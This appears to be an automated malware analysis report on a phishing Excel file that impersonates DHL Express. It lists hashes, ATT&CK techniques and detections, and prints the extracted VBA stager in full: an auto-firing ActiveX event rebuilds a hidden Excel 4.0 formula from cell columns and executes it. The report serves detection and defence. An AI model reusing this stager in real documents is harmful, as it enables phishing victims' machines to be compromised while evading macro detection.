Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8af0b10aedde4add…

MALICIOUS

Office (OLE)

70.5 KB Created: 2020-07-07 07:10:18 Authoring application: Microsoft Excel First seen: 2020-09-15
MD5: eb8f66ceba6b895b98ef88e8ce269ac1 SHA-1: e594e2217eab2c9ff791aded0b30e86cdf360926 SHA-256: 8af0b10aedde4add9d62ece81efb0112263973cebce8828b7d045d8ffd15ce55
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Excel file containing VBA macros that leverage an ActiveX event to launch a decoded Excel 4.0 macro. This macro is designed to execute a payload, likely a downloader, based on the critical heuristic firings. The document body impersonates DHL Express, suggesting a phishing lure to trick the user into enabling macros.

Heuristics 3

  • ClamAV: Xls.Malware.Mrhl-9774585-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Mrhl-9774585-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    VBA code attached to an auto-firing ActiveX/UserForm control event (e.g. _Layout/_Change/_Painted) decodes a string with Replace/Split/Join/StrReverse/Chr and passes the recovered formula text to ExecuteExcel4Macro. This bridges VBA event activation into XLM formula execution to call Win32 APIs / drop payloads while evading AutoOpen and Shell keyword detection — a high-confidence macro stager, not a specific Office parser CVE.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1090 bytes
SHA-256: e1825a887914c3237f9af1f08ed545a80e47a3edd794594de617e59ad644dbe3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "fattura, 6, 0, MSForms, Frame"
Sub visualizza()
Application.Dialogs(xlDialogPrint).Show: Application.WindowState = xlMinimized: ActiveWorkbook.Close 0
End Sub
Private Sub fattura_Layout()
For Each cr In ActiveSheet.UsedRange.SpecialCells(xlCellTypeVisible)
If cr.NumberFormat = 0 Then
copia = Chr(cr.Column)
If cr.Column <> 107 Then
copia1 = copia1 + copia
Else
ExecuteExcel4Macro (copia1)
copia1 = ""
End If
End If
Next
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.